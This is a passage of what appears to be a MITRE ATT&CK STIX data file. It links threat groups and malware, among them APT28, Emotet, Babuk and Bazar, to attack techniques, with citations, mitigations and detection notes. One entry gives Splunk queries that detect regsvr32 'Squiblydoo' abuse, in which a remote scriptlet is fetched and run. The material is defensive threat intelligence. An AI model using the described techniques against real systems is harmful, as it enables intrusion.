2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."}, {"source_name": "TrendMicro Pawn Storm Dec 2020", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}, {"source_name": "Microsoft Targeting Elections September 2020", "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."}], "modified": "2021-03-24T17:06:11.146Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) can perform brute force attacks to obtain credentials.(Citation: TrendMicro Pawn Storm 2019)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Microsoft Targeting Elections September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb819161-4916-4f25-ad81-eab9f02a337e", "type": "relationship", "created": "2021-08-12T15:54:43.288Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Babuk February 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "description": "Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "Trend Micro Ransomware February 2021", "url": "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", "description": "Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}], "modified": "2021-08-13T14:53:17.409Z", "description": "[Babuk](https://attack.mitre.org/software/S0638) has the ability to enumerate files on a targeted system.(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)", "relationship_type": "uses", "source_ref": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb82f6d3-0e6b-4fa5-a54a-f7deb28f8324", "type": "relationship", "created": "2020-02-12T16:47:16.693Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-12T16:47:16.693Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb83a9d5-0608-4008-a16a-dbfeac84e177", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor for newly executed processes that may gather the system time and/or time zone from a local or remote system.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Copy", "description": "Microsoft. (n.d.). Copy. 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Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). \n- Analytic 1 is a more generic analytic that looks for suspicious usage of regsvr32.exe, specifically for cases where regsvr32.exe creates child processes that aren\u2019t itself. It\u2019s not likely that this will result in millions of hits, but it does occur during benign activity so some form of baselining would be necessary for this to be useful as an alerting analytic.\n- Analytic 2 is around \u201cSquiblydoo\u201d, which is a specific usage of regsvr32.exe to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It looks for regsvr32.exe process creation events that load scrobj.dll via the command-line (which executes the COM scriptlet).\n- Analytic 3 This uses the same logic as above, but adds lightweight baselining by ignoring all results that also showed up in the previous 30 days (it runs over 1 day).\n- Analytic 4 This looks for child processes that may be spawend by regsvr32, while attempting to eliminate some of the common false positives such as werfault (Windows Error Reporting).\n\nAnalytic 1 - Generic Regsvr32\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\"</code>\n\nAnalytic 2 - Squiblydoo\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") regsvr32.exe scrobj.dll | search Image=\"*regsvr32.exe\"</code>\n\nAnalyt 3 - New Items since last month \n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") earliest=-d@d latest=now() regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\" | search NOT [\nsearch (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") earliest=-60d@d latest=-30d@d regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\" | dedup CommandLine | fields CommandLine ]</code>\n\nAnalytic 4 - Spawning Child Processes \n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") (ParentImage=\"C:\\\\Windows\\\\System32\\\\regsvr32.exe\" OR ParentImage=\"C:\\\\Windows\\\\SysWOW64\\\\regsvr32.exe\") AND Image!=\"C:\\\\Windows\\\\System32\\\\regsvr32.exe\" AND Image!=\"C:\\\\Windows\\\\SysWOW64\\\\regsvr32.exe\" AND Image!=\"C:\\\\WINDOWS\\\\System32\\\\regsvr32.exe\" AND Image!=\"C:\\\\WINDOWS\\\\SysWOW64\\\\regsvr32.exe\" AND Image!=\"C:\\\\Windows\\\\SysWOW64\\\\WerFault.exe\" AND Image!=\"C:\\\\Windows\\\\System32\\\\wevtutil.exe\" AND Image!=\"C:\\\\Windows\\\\System32\\\\WerFault.exe\"|stats values(ComputerName) as \"Computer Name\" values(ParentCommandLine) as \"Parent Command Line\" count(Image) as ImageCount by Image</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb99048f-bb37-47be-b2a5-d03d9ff087f1", "type": "relationship", "created": "2019-09-13T13:21:50.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}, {"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."}], "modified": "2020-11-23T22:25:18.435Z", "description": "[Machete](https://attack.mitre.org/software/S0409) captures screenshots.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb9a793b-0ed7-4152-8802-e1861ad32ad2", "type": "relationship", "created": "2020-11-17T20:53:33.504Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-20T18:26:47.499Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use WMI to log into remote machines for propagation.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb9ac63c-7ce8-4a81-be13-d1d7ba6ee4de", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:44:09.723Z", "description": "[ZLib](https://attack.mitre.org/software/S0086) mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fba17e05-d7dd-4944-97c8-7771d6b833fb", "created": "2023-09-29T20:36:54.082Z", "revoked": false, "external_references": [{"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T20:36:54.082Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has used `CreateProcess` to create a new process to run its executable and `WNetEnumResourceW` to enumerate non-hidden shares.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fba63e06-710f-4f04-b446-be8509ea0a5e", "created": "2022-09-30T15:11:47.466Z", "revoked": false, "external_references": [{"source_name": "Rclone", "description": "Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.", "url": "https://rclone.org"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T15:11:47.466Z", "description": "[Rclone](https://attack.mitre.org/software/S1040) can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.(Citation: Rclone)", "relationship_type": "uses", "source_ref": "tool--59096109-a1dd-463b-87e7-a8d110fe3a79", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fba908dc-4478-4626-ab73-72c43eca5279", "created": "2019-01-30T13:53:14.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:25:02.078Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts its configuration files with AES-256 and also encrypts its strings.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fba9610f-dbaa-4ded-b233-9229b80809ab", "type": "relationship", "created": "2020-11-04T15:14:21.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. 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Delegate other admin functions to separate accounts.\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbbaf901-4d1a-41e0-9040-78185113ffdf", "type": "relationship", "created": "2020-07-01T21:19:30.577Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. 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Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.398Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) uses HTTP requests for C2.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbc1faff-226a-4ea3-a08a-81b64066496d", "type": "relationship", "created": "2020-11-19T16:44:55.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). 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Retrieved November 18, 2020."}], "modified": "2020-11-25T15:36:18.416Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can implement DGA using the current date as a seed variable.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbc7300a-9c05-4830-8968-2322772f239d", "type": "relationship", "created": "2020-11-10T19:05:51.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). 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Retrieved November 9, 2020."}], "modified": "2020-11-10T19:05:51.194Z", "description": "[Javali](https://attack.mitre.org/software/S0528) has used embedded VBScript to download malicious payloads from C2.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbc77ca5-46b1-4c5b-8e48-d053d1eb238d", "type": "relationship", "created": "2021-03-12T18:46:47.254Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. 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Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.254Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) communicated with its C2 server via HTTP GET requests.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbc96b86-2c57-40b6-89f7-d7a755275a45", "type": "relationship", "created": "2020-05-04T19:13:35.499Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.499Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to hide the window for operations performed on a given file.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbcd00ef-0518-414d-9026-b736f036606a", "type": "relationship", "created": "2019-03-18T14:05:57.524Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT40 March 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", "description": "Plan, F., et al. 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Retrieved March 18, 2019."}], "modified": "2021-10-04T12:22:40.206Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including [HOMEFRY](https://attack.mitre.org/software/S0232).(Citation: FireEye APT40 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbce0681-c5d2-4ea9-b48a-4fc42448f9e0", "type": "relationship", "created": "2019-04-23T14:59:04.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). 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Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:48.972Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) has the ability to persist on a system using WMI events.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fbe4387a-5e79-45e0-aae1-9b3a53dcd3ee", "type": "relationship", "created": "2022-03-24T21:39:40.410Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). 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Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}, {"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Shark](https://attack.mitre.org/software/S1019) can send DNS C2 communications using a unique domain generation algorithm.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T14:12:47.246Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fbeb5e6c-5574-4d41-add3-01efec419ae7", "created": "2023-08-01T19:05:49.468Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. 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Operation Groundbait: Analysis of a surveillance toolkit. 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Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2020-03-19T19:56:10.635Z", "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fce88056-31db-43be-be76-fb1aaf076ed1", "created": "2021-08-26T14:36:18.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", "url": "https://www.group-ib.com/blog/colunmtk-apt41/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:45:58.872Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has created services to appear as benign system tools.(Citation: Group IB APT 41 June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fcee0cef-7d5b-49da-928c-2a3d0cfd06b0", "created": "2020-11-10T18:04:03.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}, {"source_name": "Sophos New Ryuk Attack October 2020", "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.", "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", "url": 